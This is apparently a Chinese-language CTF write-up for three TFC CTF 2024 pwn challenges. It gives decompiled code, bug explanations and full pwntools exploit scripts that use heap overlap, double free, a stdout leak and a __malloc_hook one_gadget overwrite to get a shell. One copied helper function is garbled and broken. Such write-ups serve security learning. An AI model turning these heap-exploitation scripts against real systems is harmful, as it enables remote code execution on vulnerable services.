题目附件https://github.com/nyyyddddn/ctf/tree/main/tfcctf2024
pwn
GUARD-THE-BYPASS
程序的逻辑如下 这里GUARD也就是指canary
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v5; // [rsp+Ch] [rbp-14h] BYREF
pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
setup(argc, argv, envp);
puts("Welcome! Press 1 to start the chall.");
__isoc99_scanf("%d", &v5);
if ( v5 != 1 )
{
puts("Bye!");
exit(0);
}
len = get_len();
pthread_create(&newthread, 0LL, game, 0LL);
pthread_join(newthread, 0LL);
return v7 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall game(void *a1)
{
__int64 buf[5]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
memset(buf, 0, 32);
getchar();
read(0, buf, len);
return v3 - __readfsqword(0x28u);
}
有canary 没有pie,修改寄存器的gadget也有
posix接口创建的线程 tls结构体离函数栈帧很近,可以覆盖tls中的canary去绕过canary然后打ret2libc,tls附近有一两个指针在程序执行的时候会往里面写数据,想到了一种很简单的方法,把game函数的canary和tls中的canary覆盖成指向bss的指针,直接一路写过去,就不需要管指针解引用段错误的问题了
vspm
程序的逻辑
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
sub_1289(a1, a2, a3);
puts("Welcome to the Very Secure Password Manager!");
puts("--------------------------------------------\n");
puts("1. Save new password");
puts("2. Check my passwords");
puts("3. Delete credentials");
puts("4. Exit");
while ( 1 )
{
v3 = 0;
printf("Input: ");
__isoc99_scanf("%d", &v3);
getchar();
if ( v3 <= 0 || v3 > 4 )
break;
switch ( v3 )
{
case 4:
exit_();
case 3:
delete_password();
break;
case 1:
save_password();
break;
default:
show_password();
break;
}
}
puts("Not a valid choice :(");
exit(0);
}
unsigned __int64 save_password()
{
unsigned int v1; // [rsp+8h] [rbp-68h] BYREF
int i; // [rsp+Ch] [rbp-64h]
__int64 v3; // [rsp+10h] [rbp-60h]
__int64 v4; // [rsp+18h] [rbp-58h]
__int64 v5; // [rsp+20h] [rbp-50h]
__int64 v6; // [rsp+28h] [rbp-48h]
__int64 v7; // [rsp+30h] [rbp-40h]
__int64 v8; // [rsp+38h] [rbp-38h]
__int64 v9; // [rsp+40h] [rbp-30h]
__int64 v10; // [rsp+48h] [rbp-28h]
__int64 v11; // [rsp+50h] [rbp-20h]
__int64 v12; // [rsp+58h] [rbp-18h]
unsigned __int64 v13; // [rsp+68h] [rbp-8h]
v13 = __readfsqword(0x28u);
for ( i = 0; i <= 9 && *((_QWORD *)&unk_4060 + 5 * i); ++i )
;
if ( i == 10 )
{
puts("No more space to save passwords.");
exit(0);
}
printf("\nSelect length: ");
v1 = 0;
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 >= 0x79 )
{
puts("Sorry, not enough resources!");
exit(0);
}
v3 = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
*((_QWORD *)&unk_4060 + 5 * i) = malloc((int)v1);
printf("Enter credentials: ");
read(0, *((void **)&unk_4060 + 5 * i), (int)(v1 + 1));
printf("Name of the credentials: ");
read(0, (char *)&unk_4060 + 40 * i + 8, (int)(v1 + 1));
return __readfsqword(0x28u) ^ v13;
}
int show_password()
{
__int64 v0; // rax
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 9; ++i )
{
v0 = *((_QWORD *)&unk_4060 + 5 * i);
if ( v0 )
LODWORD(v0) = printf(
"%d. %.*s --> %s",
(unsigned int)i,
32,
(const char *)&unk_4060 + 40 * i + 8,
*((const char **)&unk_4060 + 5 * i));
}
return v0;
}
unsigned __int64 delete_password()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
printf("Select index: ");
__isoc99_scanf("%d", &v1);
getchar();
if ( !*((_QWORD *)&unk_4060 + 5 * v1) )
{
puts("You can't delete a non-existent password.");
exit(0);
}
free(*((void **)&unk_4060 + 5 * v1));
*((_QWORD *)&unk_4060 + 5 * v1) = 0LL;
memset((char *)&unk_4060 + 40 * v1 + 8, 0, 0x20uLL);
return __readfsqword(0x28u) ^ v2;
}
关闭了tcahce的glibc 2.30,漏洞是在create password的时候有一个off by one 可以覆盖相邻地址堆块的 chunk size一个字节,通过 off by one绕过size的限制申请出unsortedbin,然后切分unsortedbin利用残留的bk指针泄露libc基地址,只需要控制一下 off by one的size就可以在切分unsortedbin后和下一个堆块完全重叠,造成heap overlap,之后doube free写malloc hook 为one gadget触发就好了
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "127.0.0.1"
PORT = 9999
elf = context.binary = ELF('./chall')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr
b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)
b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)
return b
def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )
is_debug = 1
IP = "challs.tfcctf.com"
PORT = 31822
p = connect()
def save_password(len,password,name):
sla("Input:","1")
sla("length",str(len))
sa("Enter credentials:",password)
sa("Name of the credentials:",name)
def delete_credentials(idx):
sla("Input:","3")
sla("Select index:",str(idx))
def check_password():
sla("Input:","2")
save_password(0x68, b"AAAAAAAA", b"aaaaaaaa")
save_password(0x68, b"BBBBBBBB", b"bbbbbbbb")
save_password(0x68, b"CCCCCCCC", b"cccccccc")
save_password(0x68, b"DDDDDDDD", b"dddddddd")
save_password(0x68, b"EEEEEEEE", b"eeeeeeee")
delete_credentials(0)
save_password(0x68, b"A" * 0x68 + p8(0xe1), b"a" * 0x8)
delete_credentials(1) # unsorted bin
save_password(0x68, b"B" * 0x8, b"b" * 0x8) # leak unsortedbin bk
check_password()
ru(b"B" * 0x8)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x76c3f6bb4c90 - 0x76c3f6800000)
success(hex(libc_base))
libc.addr = libc_base
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
one_gadget = libc_base + 0xe1fa1
save_password(0x68,b"FFFFFFFF","ffffffff") # heap overlap (cccccccc and ffffffff)
# double free
delete_credentials(2) # delete cccccccc
delete_credentials(3)
delete_credentials(5) # delete ffffffff
save_password(0x68, p64(malloc_hook - 0x23), b"f" * 0x8)
save_password(0x68, b'D' * 8, b"d" * 0x8)
save_password(0x68, p64(malloc_hook - 0x23), b"c" * 0x8)
save_password(0x68, b'A' * 0x13 + p64(one_gadget), b"c" * 0x8)
sl(str(1))
sla("length",str(0x48))
p.interactive()
mcback2dabasics
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int choice; // [rsp+0h] [rbp-10h] BYREF
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
for ( i = 0; i <= 63; ++i )
chunk_list[i] = 0LL;
while ( 1 )
{
while ( 1 )
{
menu();
scanf("%d", &choice);
if ( choice != 2 )
break;
delete();
}
if ( choice == 3 )
{
puts("Is that all you got? Bye!");
exit(0);
}
if ( choice == 1 )
create();
else
puts("Invalid choice");
}
}
unsigned __int64 sub_9F4()
{
int idx; // eax
_DWORD nbytes[3]; // [rsp+Ch] [rbp-14h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( chunk_number > 63 )
{
puts("No more memory available");
exit(0);
}
puts("How much?");
printf("[+]> ");
scanf("%d", nbytes);
if ( nbytes[0] > 0x70u )
{
puts("Nope, too big");
exit(0);
}
*(_QWORD *)&nbytes[1] = malloc((unsigned int)(nbytes[0] + 1));
puts("Data?");
read(0, *(void **)&nbytes[1], nbytes[0]);
*(_BYTE *)(nbytes[0] + *(_QWORD *)&nbytes[1]) = 0;
idx = chunk_number++;
chunk_list[idx] = *(_QWORD *)&nbytes[1];
puts("Job done!");
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 delete()
{
unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Which one?");
printf("[+]> ");
scanf("%d", &idx);
if ( idx > 0x3F )
{
puts("Invalid index");
exit(0);
}
free((void *)chunk_list[idx]);
puts("Job done!");
return __readfsqword(0x28u) ^ v2;
}
glibc 2.24,这个题非常困难,有uaf,但是泄露不出来地址,我知道要写stdout 打puts的利用链去泄露地址但是不知道怎么做,后面复现的时候发现可以通过堆风水让unsortedbin的fd和fastbin的fd重叠,main arena + 88离 stdout很近,libc地址低12位是固定的,覆盖两个字节就能到stdout,然后因为有size的检查,但是stdoutt往上一小段距离那有一个0x7f的地址可以通过错位字节分配到上面然后绕过这个检查,所以远程的话有十六分之一的概率能打通,需要爆破。申请到stdout后,把write base的低位覆盖,就可以通过puts的利用链去泄露libc。
具体的堆风水是,因为没有edit函数,可以通过在大堆块里面伪造fake chunk然后double free 让chunklist中有fakechunk的指针,伪造一个unsortedbin范围的fakechunk fakechunk和next chunk重叠,或者是大于,通过切分unsortedbin调整fd的位置,重叠后就可以利用了,记得把size改回去,因为重叠后unsortedbin切分的时候会写写size,也不能保证unsortedbin切分后size和原来相同,因为会分到fastbin
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "127.0.0.1"
PORT = 9999
elf = context.binary = ELF('./chall')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr
b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)
b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)
return b
def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.createress + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.createress + libc.get_section_by_name(".plt").header.sh_creater
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )
p = connect()
def create(size,content): # 0x70
sla(b"[+]> ",b"1")
sla(b"[+]> ",str(size).encode())
sa(b"Data?",content)
def delete(idx):
sla(b"[+]> ",b"2")
sla(b"[+]> ",str(idx).encode())
create(0x50,b"A" * 0x10 + b"fkchunk0" + p64(0x71)) #0 # fkchunk0 = 0x555555605020
create(0x60,"B" * 8) # 1
create(0x60,"C" * 8) # 2
create(0x60,"D" * 8) # 3
delete(1)
delete(2)
delete(1)
create(0x60,b"\x20\x50") # 4
create(0x60,"C" * 8) # 5
create(0x60,"B" * 8) # 6
create(0x60,"D" * 8) # 7 # fkchunk0
delete(0)
create(0x50,b"A" * 0x10 + p64(0) + p64(0xb1)) # 8
delete(7) # delete fkchunk0
delete(3)
delete(1)
create(0x30,b"A" * 0x10 + p64(0) + p64(0X61)) # 9 # segmentation unsortedbin and create fakechunk1 0x555555605040
# # heap overlap chunk[1].fd = main_arena + 88
# pwndbg> x /40gx 0x7ffff7bc2600 - 0x43
# 0x7ffff7bc25bd <_IO_2_1_stderr_+157>: 0xfff7bc1640000000 0x000000000000007f
# 0x7ffff7bc25cd <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000
# 0x7ffff7bc25dd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000
# 0x7ffff7bc25ed <_IO_2_1_stderr_+205>: 0x0000000000000000 0xfff7bbe400000000
# 0x7ffff7bc25fd <_IO_2_1_stderr_+221>: 0x00fbad288700007f 0xfff7bc2683000000
# 0x7ffff7bc260d <_IO_2_1_stdout_+13>: 0xfff7bc268300007f 0xfff7bc268300007f
# 0x7ffff7bc261d <_IO_2_1_stdout_+29>: 0xfff7bc268300007f 0xfff7bc268300007f
# 0x7ffff7bc262d <_IO_2_1_stdout_+45>: 0xfff7bc268300007f 0xfff7bc268300007f
# 0x7ffff7bc263d <_IO_2_1_stdout_+61>: 0xfff7bc268400007f 0x000000000000007f
# 0x7ffff7bc264d <_IO_2_1_stdout_+77>: 0x0000000000000000 0x0000000000000000
# 0x7ffff7bc265d <_IO_2_1_stdout_+93>: 0x0000000000000000 0xfff7bc18c0000000
# 0x7ffff7bc266d <_IO_2_1_stdout_+109>: 0x000000000100007f 0xffffffffff000000
# 0x7ffff7bc267d <_IO_2_1_stdout_+125>: 0x000a000000ffffff 0xfff7bc3760000000
# 0x7ffff7bc268d <_IO_2_1_stdout_+141>: 0xffffffffff00007f 0x0000000000ffffff
# 0x7ffff7bc269d <_IO_2_1_stdout_+157>: 0xfff7bc1780000000 0x000000000000007f
# 0x7ffff7bc26ad <_IO_2_1_stdout_+173>: 0x0000000000000000 0x0000000000000000
create(0x20,b"\xbd\x25") # 10 # segmentation unsortedbin; chunk[1].fd = stdout
create(0x50,b"E" * 8) # 11
create(0x50,b"F" * 8) # 12
delete(11)
delete(12)
delete(11)
create(0x50,b"\x40\x50") # 13
create(0x50,b"D" * 8) # 14
create(0x50,b"B" * 8) # 15
create(0x50,b"A" * 0x10 + p64(0) + p64(0x71)) # 16 # modify chunk[1].chunksize = 0x71
create(0x60,"SSSSS") # 16
payload = b'A' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + p8(0) #
create(0x61,payload) # 17
rl()
print(r(0x20))
libc_base = u64(r(6).ljust(8,b'\x00')) - 0x3c2600
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0xce0e5
malloc_hook = libc_base + libc.sym['__malloc_hook']
delete(1)
delete(2)
delete(1)
create(0x60,p64(malloc_hook - 0x23))
create(0x60,"BBBBBBBB")
create(0x60,p64(malloc_hook - 0x23))
create(0x60,b'a' * 0x13 + p64(one_gadget))
sla(b"[+]> ",b"1")
sla(b"[+]> ",str(0x8).encode())
p.interactive()